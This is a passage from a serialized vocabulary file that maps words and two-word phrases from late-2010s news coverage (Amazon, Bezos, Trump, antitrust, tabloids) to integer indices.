unsuccessful\": 158479,\n  \"sanchez firmly\": 158480,\n  \"progressives want\": 158481,\n  \"potentially reshape\": 158482,\n  \"successful forecasts\": 158483,\n  \"reported conversations\": 158484,\n  \"entire library\": 158485,\n  \"powerful ceo\": 158486,\n  \"food nik\": 158487,\n  \"successful presidential\": 158488,\n  \"cable divisions\": 158489,\n  \"administration fmcsa\": 158490,\n  \"calls bernie\": 158491,\n  \"light hearted\": 158492,\n  \"strengthen trade\": 158493,\n  \"significantly cheaper\": 158494,\n  \"antitrust legislation\": 158495,\n  \"markets require\": 158496,\n  \"video obtained\": 158497,\n  \"video_description 1iq5vw0\": 158498,\n  \"just speaking\": 158499,\n  \"larry fink\": 158500,\n  \"local officials\": 158501,\n  \"company specific\": 158502,\n  \"incredible cutting\": 158503,\n  \"amazon think\": 158504,\n  \"aggressively priced\": 158505,\n  \"ignore president\": 158506,\n  \"critical state\": 158507,\n  \"swim\": 158508,\n  \"beautiful\": 158509,\n  \"jan svendsen\": 158510,\n  \"shariah\": 158511,\n  \"tenn facebook\": 158512,\n  \"dishart founder\": 158513,\n  \"just concrete\": 158514,\n  \"worded version\": 158515,\n  \"using practice\": 158516,\n  \"company officials\": 158517,\n  \"cigarettes\": 158518,\n  \"similar claims\": 158519,\n  \"importantly create\": 158520,\n  \"embryonic guinea\": 158521,\n  \"worshiping\": 158522,\n  \"day nys\": 158523,\n  \"prefund retiree\": 158524,\n  \"tankersley\": 158525,\n  \"sites according\": 158526,\n  \"judy munro\": 158527,\n  \"shares lakeview\": 158528,\n  \"announcement forever\": 158529,\n  \"smt0130_mall_adobe jpg\": 158530,\n  \"constantly sprinkling\": 158531,\n  \"bruder\": 158532,\n  \"vehicles earning\": 158533,\n  \"great crime\": 158534,\n  \"tabernacle international\": 158535,\n  \"oracle cites\": 158536,\n  \"regulation companies\": 158537,\n  \"development research\": 158538,\n  \"world euro\": 158539,\n  \"tillman north\": 158540,\n  \"film company\": 158541,\n  \"trump pulled\": 158542,\n  \"galvanize supporters\": 158543,\n  \"amazonbasics early\": 158544,\n  \"little cause\": 158545,\n  \"selling prescription\": 158546,\n  \"policies nancy\": 158547,\n  \"wall soon\": 158548,\n  \"nervous walmart\": 158549,\n  \"remotely unlock\": 158550,\n  \"lost home\": 158551,\n  \"trump loves\": 158552,\n  \"moving faster\": 158553,\n  \"bailout plan\": 158554,\n  \"absurd situation\": 158555,\n  \"important united\": 158556,\n  \"forgotten slave\": 158557,\n  \"trumptruffles\": 158558,\n  \"feeling bruised\": 158559,\n  \"articles kevin\": 158560,\n  \"rival magic\": 158561,\n  \"containerclassid containerid\": 158562,\n  \"organizes\": 158563,\n  \"nationally adding\": 158564,\n  \"new sulzberger\": 158565,\n  \"base additionally\": 158566,\n  \"backing bezos\": 158567,\n  \"list recently\": 158568,\n  \"teen knifed\": 158569,\n  \"charges merchants\": 158570,\n  \"winning bid\": 158571,\n  \"investment boom\": 158572,\n  \"british government\": 158573,\n  \"obscenely high\": 158574,\n  \"unglamorous\": 158575,\n  \"struggled\": 158576,\n  \"dominate social\": 158577,\n  \"pelosi argument\": 158578,\n  \"aapl won\": 158579,\n  \"slid remember\": 158580,\n  \"shortly expected\": 158581,\n  \"warring factions\": 158582,\n  \"international area\": 158583,\n  \"wide political\": 158584,\n  \"amazon staten\": 158585,\n  \"yurus reports\": 158586,\n  \"barr letter\": 158587,\n  \"muriel bowser\": 158588,\n  \"specifically mentioned\": 158589,\n  \"safety work\": 158590,\n  \"brent frei\": 158591,\n  \"billionaire claimed\": 158592,\n  \"monopoly online\": 158593,\n  \"crucible\": 158594,\n  \"state complaint\": 158595,\n  \"long accused\": 158596,\n  \"israel quoted\": 158597,\n  \"retiring richard\": 158598,\n  \"milks\": 158599,\n  \"democrats blow\": 158600,\n  \"intelligence company\": 158601,\n  \"declaration\": 158602,\n  \"2018 did\": 158603,\n  \"alphonso evans\": 158604,\n  \"political donation\": 158605,\n  \"beijing having\": 158606,\n  \"embrace ports\": 158607,\n  \"east experts\": 158608,\n  \"weary carolinas\": 158609,\n  \"test flights\": 158610,\n  \"dawn smalls\": 158611,\n  \"tyson foods\": 158612,\n  \"internal logic\": 158613,\n  \"filmmaker sofia\": 158614,\n  \"dont count\": 158615,\n  \"african diaspora\": 158616,\n  \"city center\": 158617,\n  \"rachel chu\": 158618,\n  \"schlosser president\": 158619,\n  \"watermark\": 158620,\n  \"bigger picture\": 158621,\n  \"form doritos\": 158622,\n  \"needed conservative\": 158623,\n  \"gales says\": 158624,\n  \"include astoria\": 158625,\n  \"commercial redevelopment\": 158626,\n  \"manufacturing park\": 158627,\n  \"pot accessories\": 158628,\n  \"810 voters\": 158629,\n  \"company political\": 158630,\n  \"discrimination\": 158631,\n  \"stop publication\": 158632,\n  \"enquirer brought\": 158633,\n  \"past time\": 158634,\n  \"brief review\": 158635,\n  \"thequestion\": 158636,\n  \"today reps\": 158637,\n  \"ultimately chosen\": 158638,\n  \"service loan\": 158639,\n  \"fake australian\": 158640,\n  \"institute ranking\": 158641,\n  \"successful welch\": 158642,\n  \"bloomberg declined\": 158643,\n  \"alibaba rival\": 158644,\n  \"nominee\": 158645,\n  \"hq2 times\": 158646,\n  \"qqq\": 158647,\n  \"billion gates\": 158648,\n  \"diametrically\": 158649,\n  \"movies books\": 158650,\n  \"investment mgmt\": 158651,\n  \"quiet bezos\": 158652,\n  \"391 page\": 158653,\n  \"lisa petrillo\": 158654,\n  \"expulsion\": 158655,\n  \"abhish matthew\": 158656,\n  \"locale\": 158657,\n  \"enquirer piece\": 158658,\n  \"faking\": 158659,\n  \"specials\": 158660,\n  \"keeps approving\": 158661,\n  \"gina haspel\": 158662,\n  \"miles north\": 158663,\n  \"voices heard\": 158664,\n  \"smaller tech\": 158665,\n  \"idea department\": 158666,\n  \"necessity\": 158667,\n  \"good progressives\": 158668,\n  \"wire free\": 158669,\n  \"trans lives\": 158670,\n  \"mueller cataloged\": 158671,\n  \"seasonality peaks\": 158672,\n  \"cain odds\": 158673,\n  \"chaos\": 158674,\n  \"watch fake\": 158675,\n  \"latent insecurity\": 158676,\n  \"sagindie\": 158677,\n  \"2018 earlier\": 158678,\n  \"slane boston\": 158679,\n  \"richard howorth\": 158680,\n  \"bitcoin rat\": 158681,\n  \"yiwu\": 158682,\n  \"new offering\": 158683,\n  \"etched\": 158684,\n  \"nyse kr\": 158685,\n  \"died\": 158686,\n  \"insider confirmed\": 158687,\n  \"says used\": 158688,\n  \"huseman responded\": 158689,\n  \"retailers chief\": 158690,\n  \"logged billion\": 158691,\n  \"irs delay\": 158692,\n  \"gifts wrapped\": 158693,\n  \"surprise visit\": 158694,\n  \"catalino\": 158695,\n  \"perez chuck\": 158696,\n  \"thinks president\": 158697,\n  \"net worth\": 158698,\n  \"exec claire\": 158699,\n  \"amendment critics\": 158700,\n  \"horowitz excellent\": 158701,\n  \"scott morrison\": 158702,\n  \"won create\": 158703,\n  \"convened panel\": 158704,\n  \"house access\": 158705,\n  \"unaided\": 158706,\n  \"yes lot\": 158707,\n  \"horrible\": 158708,\n  \"carmel\": 158709,\n  \"naturalcures\": 158710,\n  \"1721et\": 158711,\n  \"signals break\": 158712,\n  \"scolded\": 158713,\n  \"3665\": 158714,\n  \"regulations need\": 158715,\n  \"man hired\": 158716,\n  \"pressuring companies\": 158717,\n  \"behalf guess\": 158718,\n  \"showing film\": 158719,\n  \"years bringing\": 158720,\n  \"dough\": 158721,\n  \"catspaw\": 158722,\n  \"firms ranging\": 158723,\n  \"loudobbs\": 158724,\n  \"politically damaging\": 158725,\n  \"fragmented\": 158726,\n  \"forest store\": 158727,\n  \"motherboards focus\": 158728,\n  \"average wage\": 158729,\n  \"simon\": 158730,\n  \"gold aljazeera\": 158731,\n  \"farmworkers\": 158732,\n  \"tweet finally\": 158733,\n  \"despair\": 158734,\n  \"alleged killing\": 158735,\n  \"car exclusively\": 158736,\n  \"weather michael\": 158737,\n  \"ruhle asked\": 158738,\n  \"259 shares\": 158739,\n  \"captchas\": 158740,\n  \"san artillery\": 158741,\n  \"ruling dealing\": 158742,\n  \"bulls earnings\": 158743,\n  \"management unit\": 158744,\n  \"amazon aversion\": 158745,\n  \"stays just\": 158746,\n  \"british columbia\": 158747,\n  \"rt atsopro\": 158748,\n  \"attempted arson\": 158749,\n  \"problem recommend\": 158750,\n  \"cchurchill\": 158751,\n  \"size certainly\": 158752,\n  \"national marijuana\": 158753,\n  \"cheaper\": 158754,\n  \"exploration operation\": 158755,\n  \"democrats anger\": 158756,\n  \"muted response\": 158757,\n  \"fuel tank\": 158758,\n  \"forceful explanation\": 158759,\n  \"edge believes\": 158760,\n  \"salacious tabloid\": 158761,\n  \"support giving\": 158762,\n  \"graffiti\": 158763,\n  \"cap management\": 158764,\n  \"oise\": 158765,\n  \"held shaped\": 158766,\n  \"hq2s\": 158767,\n  \"instagram billion\": 158768,\n  \"nic\": 158769,\n  \"news personality\": 158770,\n  \"bury embarrassing\": 158771,\n  \"follow simple\": 158772,\n  \"severely hit\": 158773,\n  \"public apology\": 158774,\n  \"bud light\": 158775,\n  \"engineer\": 158776,\n  \"speech facebook\": 158777,\n  \"press using\": 158778,\n  \"lsd\": 158779,\n  \"echoed similar\": 158780,\n  \"clark nyse\": 158781,\n  \"deficit kilmeade\": 158782,\n  \"a2ckhl3zj9 empire\": 158783,\n  \"retailer continues\": 158784,\n  \"faces increases\": 158785,\n  \"hear trump\": 158786,\n  \"multiple pills\": 158787,\n  \"2011 scott\": 158788,\n  \"political battle\": 158789,\n  \"shares diversified\": 158790,\n  \"globe conquering\": 158791,\n  \"book texit\": 158792,\n  \"succession breaks\": 158793,\n  \"queens lawmakers\": 158794,\n  \"answer\": 158795,\n  \"fell briefly\": 158796,\n  \"violating\": 158797,\n  \"taxes years\": 158798,\n  \"takes\": 158799,\n  \"days making\": 158800,\n  \"cites intensifying\": 158801,\n  \"company teeuwe\": 158802,\n  \"indymac saddled\": 158803,\n  \"private christian\": 158804,\n  \"civil servant\": 158805,\n  \"useful donations\": 158806,\n  \"germans\": 158807,\n  \"mutate function\": 158808,\n  \"campus officially\": 158809,\n  \"feed fast\": 158810,\n  \"koshinski asset\": 158811,\n  \"concerned stewart\": 158812,\n  \"ovide claimed\": 158813,\n  \"editions globe\": 158814,\n  \"civil fraud\": 158815,\n  \"nature ronan\": 158816,\n  \"federal welfare\": 158817,\n  \"1954\": 158818,\n  \"board elections\": 158819,\n  \"focused richly\": 158820,\n  \"chu thinks\": 158821,\n  \"response uk\": 158822,\n  \"major reasons\": 158823,\n  \"post claimed\": 158824,\n  \"sanders welfare\": 158825,\n  \"competition going\": 158826,\n  \"instruction\": 158827,\n  \"later_30 html\": 158828,\n  \"exchange traded\": 158829,\n  \"alec\": 158830,\n  \"insider tips\": 158831,\n  \"feel comfortable\": 158832,\n  \"pinkfong\": 158833,\n  \"amazon expressway\": 158834,\n  \"promotion photographer\": 158835,\n  \"drinking\": 158836,\n  \"qanon far\": 158837,\n  \"media_0\": 158838,\n  \"main problem\": 158839,\n  \"flop washington\": 158840,\n  \"division destruction\": 158841,\n  \"foolish\": 158842,\n  \"hot\": 158843,\n  \"middleton ma\": 158844,\n  \"trump irritation\": 158845,\n  \"43415030\": 158846,\n  \"reich wrote\": 158847,\n  \"washington twitter\": 158848,\n  \"little known\": 158849,\n  \"weigel\": 158850,\n  \"content despite\": 158851,\n  \"availability message\": 158852,\n  \"gigi\": 158853,\n  \"tough scrutiny\": 158854,\n  \"donors disagree\": 158855,\n  \"forming twisted\": 158856,\n  \"carey\": 158857,\n  \"old box\": 158858,\n  \"video leary\": 158859,\n  \"fake video\": 158860,\n  \"appears online\": 158861,\n  \"employing\": 158862,\n  \"worst days\": 158863,\n  \"amazon relies\": 158864,\n  \"stephen king\": 158865,\n  \"live economy\": 158866,\n  \"vernon concluded\": 158867,\n  \"retailers envy\": 158868,\n  \"boddi\": 158869,\n  \"cohen novartis\": 158870,\n  \"latinx\": 158871,\n  \"sinnet technology\": 158872,\n  \"eps growth\": 158873,\n  \"trump nominates\": 158874,\n  \"cloud onaws\": 158875,\n  \"syria terror\": 158876,\n  \"prairie state\": 158877,\n  \"iranian oil\": 158878,\n  \"bilateral summit\": 158879,\n  \"mark zuckerberg\": 158880,\n  \"gettyimages\": 158881,\n  \"rainforest saying\": 158882,\n  \"people separately\": 158883,\n  \"antitrust act\": 158884,\n  \"overall phishing\": 158885,\n  \"humbled\": 158886,\n  \"informational\": 158887,\n  \"slapping\": 158888,\n  \"wong maye\": 158889,\n  \"enforcement mechanism\": 158890,\n  \"open bud\": 158891,\n  \"sugar pie\": 158892,\n  \"importantreminder\": 158893,\n  \"christopher\": 158894,\n  \"criticism ofthe\": 158895,\n  \"shootings responsibly\": 158896,\n  \"orlando fla\": 158897,\n  \"locations hsn\": 158898,\n  \"aclu told\": 158899,\n  \"corporation recent\": 158900,\n  \"business executives\": 158901,\n  \"going great\": 158902,\n  \"dhs gizmodo\": 158903,\n  \"sons eric\": 158904,\n  \"iwan rheon\": 158905,\n  \"cast shadow\": 158906,\n  \"sues man\": 158907,\n  \"rm2 44bil\": 158908,\n  \"rice farmers\": 158909,\n  \"service trump\": 158910,\n  \"alexandria occasio\": 158911,\n  \"pr trainwreck\": 158912,\n  \"final destination\": 158913,\n  \"investors decided\": 158914,\n  \"sanctions marine\": 158915,\n  \"military nuclear\": 158916,\n  \"million children\": 158917,\n  \"conspiracy started\": 158918,\n  \"eps reported\": 158919,\n  \"cia flash\": 158920,\n  \"hazy therese\": 158921,\n  \"america president\": 158922,\n  \"worker comp\": 158923,\n  \"doesn bias\": 158924,\n  \"maura healey\": 158925,\n  \"big fake\": 158926,\n  \"renae\": 158927,\n  \"earnings induced\": 158928,\n  \"valley\": 158929,\n  \"rival online\": 158930,\n  \"information revealed\": 158931,\n  \"family rifts\": 158932,\n  \"blaming bezos\": 158933,\n  \"generate resources\": 158934,\n  \"bernstein amazon\": 158935,\n  \"holding day\": 158936,\n  \"null nextplay\": 158937,\n  \"adverse effects\": 158938,\n  \"bezos researcher\": 158939,\n  \"reported 500\": 158940,\n  \"bezos refers\": 158941,\n  \"fun taylor\": 158942,\n  \"examined election\": 158943,\n  \"disagrees\": 158944,\n  \"rpg\": 158945,\n  \"310\": 158946,\n  \"ballgame works\": 158947,\n  \"today meeting\": 158948,\n  \"strict trade\": 158949,\n  \"crisis says\": 158950,\n  \"preaker stroy\": 158951,\n  \"c0 aa\": 158952,\n  \"american outdoor\": 158953,\n  \"regional federal\": 158954,\n  \"quadruple\": 158955,\n  \"amazon according\": 158956,\n  \"mobile users\": 158957,\n  \"philanthropy fund\": 158958,\n  \"afuye says\": 158959,\n  \"international sales\": 158960,\n  \"atlanta brand\": 158961,\n  \"original mom\": 158962,\n  \"askthemayor segment\": 158963,\n  \"amazon delivery\": 158964,\n  \"newswire los\": 158965,\n  \"report paywall\": 158966,\n  \"beloved amazon\": 158967,\n  \"yanked\": 158968,\n  \"company dominates\": 158969,\n  \"fokyrqfyl5 justice\": 158970,\n  \"required competitions\": 158971,\n  \"immunity applies\": 158972,\n  \"recreational weed\": 158973,\n  \"meet china\": 158974,\n  \"dopp case\": 158975,\n  \"help economy\": 158976,\n  \"begin charging\": 158977,\n  \"affect kids\": 158978,\n  \"stephanie kelton\": 158979,\n  \"trump stating\": 158980,\n  \"national parks\": 158981,\n  \"outside construction\": 158982,\n  \"americans say\": 158983,\n  \"offering fresh\": 158984,\n  \"cow\": 158985,\n  \"certificate contest\": 158986,\n  \"harvest gainsit\": 158987,\n  \"problems countries\": 158988,\n  \"dana rubinstein\": 158989,\n  \"profound negative\": 158990,\n  \"bezos declared\": 158991,\n  \"chains antibiotic\": 158992,\n  \"government drafted\": 158993,\n  \"uk arrow\": 158994,\n  \"company known\": 158995,\n  \"target corporation\": 158996,\n  \"states ordering\": 158997,\n  \"walmart burger\": 158998,\n  \"howard parul\": 158999,\n  \"unlikely saviors\": 159000,\n  \"opinion columnist\": 159001,\n  \"sympathetic victim\": 159002,\n  \"tcja itep\": 159003,\n  \"trade delegation\": 159004,\n  \"instagram cited\": 159005,\n  \"pay chairman\": 159006,\n  \"fintechs\": 159007,\n  \"crisis journalist\": 159008,\n  \"executefeature\": 159009,\n  \"statessenate\": 159010,\n  \"starve\": 159011,\n  \"money loser\": 159012,\n  \"warning comments\": 159013,\n  \"statement emphasis\": 159014,\n  \"higher postal\": 159015,\n  \"ian frisch\": 159016,\n  \"good law\": 159017,\n  \"trump agitator\": 159018,\n  \"brian stelter\": 159019,\n  \"optimizing\": 159020,\n  \"106 965\": 159021,\n  \"schumer case\": 159022,\n  \"city rozic\": 159023,\n  \"delivering million\": 159024,\n  \"cities worth\": 159025,\n  \"lisa brennan\": 159026,\n  \"sex bezos\": 159027,\n  \"boboswald33 gmail\": 159028,\n  \"china rapidly\": 159029,\n  \"range think\": 159030,\n  \"misconduct settlements\": 159031,\n  \"apiece\": 159032,\n  \"tweets saying\": 159033,\n  \"skills challenge\": 159034,\n  \"soon hired\": 159035,\n  \"lawmakers vote\": 159036,\n  \"general organized\": 159037,\n  \"decision overturned\": 159038,\n  \"src videocardcontents\": 159039,\n  \"recovery disinvestment\": 159040,\n  \"buying computers\": 159041,\n  \"agreement usmca\": 159042,\n  \"ncaa\": 159043,\n  \"ceo balance\": 159044,\n  \"article reminding\": 159045,\n  \"insider crystal\": 159046,\n  \"gonna push\": 159047,\n  \"fuggedaboutit reuters\": 159048,\n  \"budget plans\": 159049,\n  \"today 2018\": 159050,\n  \"kelly house\": 159051,\n  \"nerve\": 159052,\n  \"amazon continued\": 159053,\n  \"executives amazon\": 159054,\n  \"rhyming\": 159055,\n  \"correction right\": 159056,\n  \"1960s\": 159057,\n  \"red sonja\": 159058,\n  \"usps meets\": 159059,\n  \"pinning\": 159060,\n  \"height 900\": 159061,\n  \"films founded\": 159062,\n  \"netflix canada\": 159063,\n  \"way impugn\": 159064,\n  \"moody wrote\": 159065,\n  \"finally aside\": 159066,\n  \"roundtable\": 159067,\n  \"distraction\": 159068,\n  \"137 billion\": 159069,\n  \"cnn videoplayer\": 159070,\n  \"antitrust arm\": 159071,\n  \"wendy\": 159072,\n  \"term admittedly\": 159073,\n  \"daniel sold\": 159074,\n  \"neutrality law\": 159075,\n  \"election integrity\": 159076,\n  \"momentum winner\": 159077,\n  \"connecticut woman\": 159078,\n  \"adequate\": 159079,\n  \"jamarlin continues\": 159080,\n  \"gop senate\": 159081,\n  \"abramovich\": 159082,\n  \"lazarus column\": 159083,\n  \"developmental\": 159084,\n  \"officer rosalind\": 159085,\n  \"boy causing\": 159086,\n  \"early investor\": 159087,\n  \"actually did\": 159088,\n  \"solid goliath\": 159089,\n  \"tv amazon\": 159090,\n  \"bezos stated\": 159091,\n  \"amazon jeff\": 159092,\n  \"leads point\": 159093,\n  \"acres\": 159094,\n  \"bryan singer\": 159095,\n  \"shooting anniversary\": 159096,\n  \"financial policy\": 159097,\n  \"including pecker\": 159098,\n  \"constantly finding\": 159099,\n  \"value approaching\": 159100,\n  \"scandals chased\": 159101,\n  \"pharma companies\": 159102,\n  \"submit r4ee\": 159103,\n  \"fair benefits\": 159104,\n  \"goods brands\": 159105,\n  \"516\": 159106,\n  \"alibaba peter\": 159107,\n  \"moore breakthrough\": 159108,\n  \"blast email\": 159109,\n  \"related careers\": 159110,\n  \"coverage baron\": 159111,\n  \"farrow allegations\": 159112,\n  \"information service\": 159113,\n  \"bartiromo fox\": 159114,\n  \"grown privately\": 159115,\n  \"bbc headlines\": 159116,\n  \"say amazon\": 159117,\n  \"trend actually\": 159118,\n  \"russ vought\": 159119,\n  \"aclu methodology\": 159120,\n  \"future benefit\": 159121,\n  \"captured solid\": 159122,\n  \"cloud space\": 159123,\n  \"fortnite bucks\": 159124,\n  \"development investments\": 159125,\n  \"flex customer\": 159126,\n  \"turn focus\": 159127,\n  \"days read\": 159128,\n  \"seattle climate\": 159129,\n  \"reader saying\": 159130,\n  \"received overwhelming\": 159131,\n  \"partner companies\": 159132,\n  \"mnuchin looked\": 159133,\n  \"film set\": 159134,\n  \"nuclear attack\": 159135,\n  \"cornered\": 159136,\n  \"sell copies\": 159137,\n  \"threatening\": 159138,\n  \"company nash\": 159139,\n  \"insider connections\": 159140,\n  \"dubbed national\": 159141,\n  \"deep plunge\": 159142,\n  \"progressive faces\": 159143,\n  \"story bernanke\": 159144,\n  \"ellison think\": 159145,\n  \"brash bawdy\": 159146,\n  \"slated\": 159147,\n  \"great tv\": 159148,\n  \"antipoverty charity\": 159149,\n  \"nabbing nearly\": 159150,\n  \"chose national\": 159151,\n  \"dont win\": 159152,\n  \"blake later\": 159153,\n  \"war overseen\": 159154,\n  \"showspinner fail\": 159155,\n  \"states intends\": 159156,\n  \"accounts htc\": 159157,\n  \"seconds fbi\": 159158,\n  \"racist hours\": 159159,\n  \"economic talking\": 159160,\n  \"recognition falsely\": 159161,\n  \"possible fate\": 159162,\n  \"backside\": 159163,\n  \"f8 apply\": 159164,\n  \"massive fisa\": 159165,\n  \"pretty plate\": 159166,\n  \"sifting\": 159167,\n  \"brennan persistent\": 159168,\n  \"general trump\": 159169,\n  \"burglary suspects\": 159170,\n  \"usps according\": 159171,\n  \"martens courtmartensjd\": 159172,\n  \"editor think\": 159173,\n  \"stock started\": 159174,\n  \"precinct located\": 159175,\n  \"carriers worldwide\": 159176,\n  \"antonio missing\": 159177,\n  \"philadelphia fed\": 159178,\n  \"benjysarlin\": 159179,\n  \"gmt federal\": 159180,\n  \"struck giant\": 159181,\n  \"country broken\": 159182,\n  \"party far\": 159183,\n  \"charlotte pence\": 159184,\n  \"mumbai\": 159185,\n  \"rusterholz\": 159186,\n  \"delta flight\": 159187,\n  \"offering surveillance\": 159188,\n  \"era deferred\": 159189,\n  \"amazon china\": 159190,\n  \"despite making\": 159191,\n  \"taxes debunking\": 159192,\n  \"copying\": 159193,\n  \"adult hardcover\": 159194,\n  \"fixing news\": 159195,\n  \"000 based\": 159196,\n  \"problems restarting\": 159197,\n  \"missing teen\": 159198,\n  \"transgender day\": 159199,\n  \"points morgan\": 159200,\n  \"hate monitoring\": 159201,\n  \"need congressional\": 159202,\n  \"precedent\": 159203,\n  \"dozen post\": 159204,\n  \"president relationship\": 159205,\n  \"weakened status\": 159206,\n  \"function eb\": 159207,\n  \"minefield\": 159208,\n  \"portman husband\": 159209,\n  \"super souk\": 159210,\n  \"walmart future\": 159211,\n  \"2015 started\": 159212,\n  \"transcript provided\": 159213,\n  \"kenan\": 159214,\n  \"lewinsky scandal\": 159215,\n  \"economy needs\": 159216,\n  \"correctly handing\": 159217,\n  \"official purchases\": 159218,\n  \"mueller rep\": 159219,\n  \"tariff level\": 159220,\n  \"security investigation\": 159221,\n  \"pilcher\": 159222,\n  \"onesies adorned\": 159223,\n  \"tobuild\": 159224,\n  \"fax\": 159225,\n  \"abrader remarks\": 159226,\n  \"information outraged\": 159227,\n  \"spending\": 159228,\n  \"recommendations page\": 159229,\n  \"lutes drawn\": 159230,\n  \"building opportunities\": 159231,\n  \"remains founder\": 159232,\n  \"catalyst\": 159233,\n  \"tabloid ink\": 159234,\n  \"jessica mcgowan\": 159235,\n  \"anti tech\": 159236,\n  \"discuss criminal\": 159237,\n  \"op\": 159238,\n  \"course disagree\": 159239,\n  \"political payback\": 159240,\n  \"unflinchingly lamster\": 159241,\n  \"intermittent\": 159242,\n  \"american farmers\": 159243,\n  \"data today\": 159244,\n  \"understand wow\": 159245,\n  \"outfits\": 159246,\n  \"jquery containerclassid\": 159247,\n  \"chinese internet\": 159248,\n  \"merchandise online\": 159249,\n  \"amazon seeking\": 159250,\n  \"passing mention\": 159251,\n  \"economic warfare\": 159252,\n  \"think muckerman\": 159253,\n  \"family life\": 159254,\n  \"evade scrutiny\": 159255,\n  \"potential rivals\": 159256,\n  \"winning cookbook\": 159257,\n  \"advantage mccain\": 159258,\n  \"statepoliticians\": 159259,\n  \"forcing foreign\": 159260,\n  \"inaugural box\": 159261,\n  \"facebook published\": 159262,\n  \"year nabbing\": 159263,\n  \"light switch\": 159264,\n  \"vaccine movies\": 159265,\n  \"psyche\": 159266,\n  \"regulatory service\": 159267,\n  \"play trump\": 159268,\n  \"start new\": 159269,\n  \"including members\": 159270,\n  \"details meghan\": 159271,\n  \"nontariff barriers\": 159272,\n  \"adds\": 159273,\n  \"seconds cohen\": 159274,\n  \"devastating\": 159275,\n  \"northern border\": 159276,\n  \"petulant\": 159277,\n  \"industrial capitalism\": 159278,\n  \"organization brian\": 159279,\n  \"tabloid obtained\": 159280,\n  \"white woman\": 159281,\n  \"showing retail\": 159282,\n  \"stocks collapsed\": 159283,\n  \"services including\": 159284,\n  \"appreciated value\": 159285,\n  \"foe list\": 159286,\n  \"ventures\": 159287,\n  \"accidentally granted\": 159288,\n  \"amc entertainment\": 159289,\n  \"policies governing\": 159290,\n  \"backed projects\": 159291,\n  \"zinke departs\": 159292,\n  \"md panel\": 159293,\n  \"urgent financial\": 159294,\n  \"reassessment\": 159295,\n  \"444ed7bb5ea74821be6b5fadf54818b4\": 159296,\n  \"buy groceries\": 159297,\n  \"scholarship\": 159298,\n  \"jim thank\": 159299,\n  \"story bayer\": 159300,\n  \"frustrated president\": 159301,\n  \"scenarios amazon\": 159302,\n  \"walzer\": 159303,\n  \"annandale\": 159304,\n  \"day governor\": 159305,\n  \"usps currently\": 159306,\n  \"carrier despite\": 159307,\n  \"hill wants\": 159308,\n  \"sheriffs association\": 159309,\n  \"including mccabe\": 159310,\n  \"man welcome\": 159311,\n  \"todays\": 159312,\n  \"stone author\": 159313,\n  \"trolls\": 159314,\n  \"nook\": 159315,\n  \"multi stakeholder\": 159316,\n  \"home max\": 159317,\n  \"russia violated\": 159318,\n  \"insanity\": 159319,\n  \"produced massive\": 159320,\n  \"special bee\": 159321,\n  \"corporations weighed\": 159322,\n  \"rivkin dr\": 159323,\n  \"recovered kaitlyn\": 159324,\n  \"founded blue\": 159325,\n  \"forum reported\": 159326,\n  \"drummer\": 159327,\n  \"traditional mortgages\": 159328,\n  \"relation\": 159329,\n  \"myanmar\": 159330,\n  \"abruptly\": 159331,\n  \"exploring revoking\": 159332,\n  \"beloved novelists\": 159333,\n  \"create entire\": 159334,\n  \"ireland holdings\": 159335,\n  \"revenue potential\": 159336,\n  \"murder shocked\": 159337,\n  \"constituents excluding\": 159338,\n  \"karlis notes\": 159339,\n  \"supervision\": 159340,\n  \"comment bootnote\": 159341,\n  \"grads\": 159342,\n  \"percentages lasser\": 159343,\n  \"expansive pattern\": 159344,\n  \"minister resigns\": 159345,\n  \"spirit longs\": 159346,\n  \"chief michael\": 159347,\n  \"attach\": 159348,\n  \"using language\": 159349,\n  \"yell\": 159350,\n  \"way democracy\": 159351,\n  \"bartlett calls\": 159352,\n  \"forbes rich\": 159353,\n  \"real real\": 159354,\n  \"bishops summit\": 159355,\n  \"president jeff\": 159356,\n  \"showtime beginning\": 159357,\n  \"waterfront\": 159358,\n  \"van royen\": 159359,\n  \"acquiring real\": 159360,\n  \"earnings forecast\": 159361,\n  \"louisville\": 159362,\n  \"heinzls\": 159363,\n  \"jake barnett\": 159364,\n  \"golf club\": 159365,\n  \"amzn sgn\": 159366,\n  \"galaxy\": 159367,\n  \"limiting global\": 159368,\n  \"publisher fred\": 159369,\n  \"globe winning\": 159370,\n  \"trumpshocking summit\": 159371,\n  \"____________________________trump mexico\": 159372,\n  \"enquirer nyt\": 159373,\n  \"united parcel\": 159374,\n  \"money shutdown\": 159375,\n  \"722 000\": 159376,\n  \"forces acquire\": 159377,\n  \"scripts days\": 159378,\n  \"global global\": 159379,\n  \"assembly member\": 159380,\n  \"fromage\": 159381,\n  \"employee site\": 159382,\n  \"amended\": 159383,\n  \"autonomous delivery\": 159384,\n  \"discussed possibly\": 159385,\n  \"reduce homelessness\": 159386,\n  \"power contained\": 159387,\n  \"256 mart\": 159388,\n  \"asset holds\": 159389,\n  \"prime customers\": 159390,\n  \"cap\": 159391,\n  \"party challenger\": 159392,\n  \"trauma\": 159393,\n  \"differ materially\": 159394,\n  \"proclaimed foe\": 159395,\n  \"transport services\": 159396,\n  \"town ditching\": 159397,\n  \"cell phone\": 159398,\n  \"just admitted\": 159399,\n  \"breaks incentives\": 159400,\n  \"treat minor\": 159401,\n  \"anecdotes americans\": 159402,\n  \"obtained voicemails\": 159403,\n  \"base wage\": 159404,\n  \"medical issues\": 159405,\n  \"insulators\": 159406,\n  \"worth pegged\": 159407,\n  \"boss cook\": 159408,\n  \"continuity\": 159409,\n  \"hill evan\": 159410,\n  \"opposite effect\": 159411,\n  \"extreme right\": 159412,\n  \"brexit irish\": 159413,\n  \"sense contrary\": 159414,\n  \"ben tobin\": 159415,\n  \"user 700\": 159416,\n  \"charitable trust\": 159417,\n  \"ireland\": 159418,\n  \"upbeat\": 159419,\n  \"trump raged\": 159420,\n  \"candidates company\": 159421,\n  \"company explosive\": 159422,\n  \"plus ideas\": 159423,\n  \"border protection\": 159424,\n  \"blackfriday\": 159425,\n  \"inc_promo_date\": 159426,\n  \"competition regulators\": 159427,\n  \"volatile chief\": 159428,\n  \"soaked\": 159429,\n  \"trump praise\": 159430,\n  \"operating efficiencies\": 159431,\n  \"marketplace owners\": 159432,\n  \"city wins\": 159433,\n  \"bills\": 159434,\n  \"new highs\": 159435,\n  \"p0 p8\": 159436,\n  \"leaked memo\": 159437,\n  \"paradise papers\": 159438,\n  \"businesses amazon\": 159439,\n  \"analysing\": 159440,\n  \"allen chau\": 159441,\n  \"homeless man\": 159442,\n  \"read likewise\": 159443,\n  \"wing media\": 159444,\n  \"sanchez brother\": 159445,\n  \"teresa lo\": 159446,\n  \"prior experience\": 159447,\n  \"reformation\": 159448,\n  \"time face\": 